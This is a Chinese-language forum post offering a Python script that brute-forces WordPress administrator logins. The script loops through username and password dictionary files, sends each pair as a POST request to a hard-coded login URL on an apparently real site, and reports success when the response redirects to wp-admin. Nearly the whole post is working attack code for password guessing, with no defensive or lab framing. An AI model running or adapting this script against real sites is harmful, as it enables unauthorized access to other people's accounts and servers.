本帖最后由 yang28852 于 2023-6-24 19:22 编辑
l利用python做一个 破解 WordPress 管理员账户的密码的脚本,代码使用了一个循环,将字典中的每个用户名和密码组合作为POST请求参数发送到指定的登录页面。如果页面跳转到了wp-admin后台页面,那么说明该组合是有效的,即该用户名和密码是正确的
- import urllib3
- import urllib.parse
- http = urllib3.PoolManager(headers={'Content-Type': 'application/x-www-form-urlencoded'})
- url = "http://www.ikunct1.top/admin/login.php"
- users = [] # 初始化存储用户名的列表
- passwords = [] # 初始化存储密码的列表
- # 从文件中读取所有用户名和密码
- with open('用户字典', 'r') as userlist:
- users = userlist.readlines()
- with open('密码字典', 'r') as passwordlist:
- passwords = passwordlist.readlines()
- # 循环处理用户名和密码组合
- for user in users:
- user = user.strip()
- for password in passwords:
- password = password.strip()
- values = {'log': user, 'pwd': password}
- # 输出正在尝试的用户名和密码组合
- print(f"Trying user={user}, password={password}")
- encoded_values = urllib.parse.urlencode(values).encode('utf-8')
- response = http.request('POST', url, body=encoded_values)
- try:
- idx = response.geturl().index('wp-admin')
- except ValueError:
- idx = -1
- # 输出是否找到正确的用户名和密码
- if (idx >= 0):
- print(f"Found username: {user}, password: {password}")
- break
- else:
- print(f"Failed username: {user}, password: {password}")
- if (idx >= 0):
- break
复制代码 |